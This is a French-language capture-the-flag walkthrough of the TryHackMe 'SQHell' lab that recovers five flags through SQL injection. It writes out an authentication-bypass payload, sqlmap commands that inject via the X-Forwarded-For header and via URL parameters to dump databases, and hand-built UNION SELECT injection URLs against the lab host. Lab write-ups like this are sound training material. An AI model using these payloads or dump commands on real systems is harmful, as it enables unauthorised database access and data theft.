SQHell – Write Up – Fr – TryHackMe

SQHell est une nouvelle box de TryHackMe exclusivement dédiée à l’injection SQL. Parfois très simple et parfois difficile à trouver,c’est une box très intéressante, mais qui nécessite des prérequis sur SQLi

Task 1 Find all the Flags!

  • Flag 1

Redacted

Bypass authentification avec BurpSuite :

Il faut d’abord voir si l’URL http://10.10.197.66/post?id=1 est possiblement vulnérable à l’injection SQL en changeant le numéro d’ID par un «   » ou un autre payload comme  admin’ or ‘1’=’1’#

Comme le résultat est positif, on va intercepter cette requête avec BurpSuite et l’envoyer dans Intruder

Une fois dans Intruder, il faut aller sur l’onglet ( en haut à gauche ) et cliquer sur clear et rajouter l’emplacement où sera injecté le payload. En l’occurrence sur le nom d’utilisateur test

Ensuite, il faut insère la liste des payloads que BurpSuite va utiliser les uns après les autres dans « Payload Options [Simple list] » 

Il faudra pour finir cliquer sur start attack et attendre que les payloads soit exécutés. On peut voir dans la capture suivante que l’injection n°2 donne un résultat positif et que tous les résultats donne la taille est de 1483 kb sont positifs. 

Il est possible aussi de valider l’injection en l’exécutant manuellement dans le navigateur. 

Ce qui donne le même résultat mais en plus lisible…

 

Flag 2

  • Flag 2

Redacted

Hint : Make sure to read the terms and conditions 😉

Une recherche sur Google nous permet d’arriver sur ce lien qui nous parle de X-forwarded-for

Utilisation du headers X-forwarded-for et SqlMap

Dans 1ier temps, il faut voir si cette injection est possible avec cette commande.

sqlmap –dbms mysql –headers= »X-forwarded-for:1* » -u http://10.10.162.101

Comme c’est positif, on va dump la base sqhell1 pour obtenir le flag 2

sqlmap –dbms mysql –headers= »X-forwarded-for:1* » -u http://10.10.162.101 -D sqhell_1 –dump

Flag 3

  • flag 3

Redacted

SlqMap sur /register/user-check?username=x 

Pour ce flag, il faut afficher le code source de la page  http://10.10.162.101/register. Sur les dernières lignes, on peut voir qu’un script vérifie si l’utilisateur rentré n’existerai pas déjà.

sqlmap -u http://10.10.162.101/register/user-check?username=x –dbms=MySQL

 

sqlmap -u http://10.10.162.101/register/user-check?username=x –dbms=MySQL –dump

Flag 4

  • Flag 4 

Redacted

BurpSuite, SqlMap, /user?id=2

En 1ier lieu, il faut capturer la requête http://10.10.151.107/user?id=2 avec BurpSuite, l’enregistrer pour l’utiliser avec SqlMap et cette commande :

sqlmap -r sql4.req –dbs

Le dump de la table sqhell_4 ne donne rien mise à part la récupération d’un compte admin et un mot de passe qui ne serve à rien.

Il faut essaye de voir à partir de la requête fait par sqlmap si on peut arriver à récupérer le flag. À savoir

2 UNION ALL SELECT NULL,CONCAT(0x71766b7071,0x634f6c774a594e6e48414f414844554348465753414149534c6b79785174774b786a537966544548,0x7170717171),NULL– –

Il faut retirer les NULL et le CONCAT et changer les valeurs 0x71… pour mettre d’autres valeurs et finalement il faut rajouter où aller chercher l’information. C’est-à-dire dans la table users. Ce qui donne :

http://10.10.151.107/user?id=2%20UNION%20ALL%20SELECT%20%271%27,%27test%27,%27test2%27%20from%20users#

Comme le montre la capture précédente, on sélectionne l’utilisateur 2 qui n’existe pas, et pourtant on  affiche user ID 1 avec  Username test au lieu d’admin. Il est donc possible d’injecter la 1ier valeur. On va modifier cette injection pour afficher le flag de cette manière :

http://10.10.151.107/user?id=2%20UNION%20ALL%20SELECT%20%271%20union%20select%201,flag,3,4%20from%20flag–%20-%27,%20NULL,NULL%20from%20users#

Flag 5

  • Flag 5

Redacted

Slqmap, BurpSuite, /post?id=1

Il faut capturer la requête http://10.10.197.66/post?id=1 dans BurpSuite et la sauvegarder pour l’utiliser ensuite avec sqlmap.

Commande : 

sqlmap -r sql.req

 

Recherche des databases :

sqlmap -r sql.req –dbs

Dump de la database sqhell_5

sqlmap -r sql.req –dump -D sqhell_5

 
0 0 votes
Évaluation de l'article
S’abonner
Notifier de
0 Commentaires
le plus ancien
le plus récent le plus populaire
Inline Feedbacks
View all comments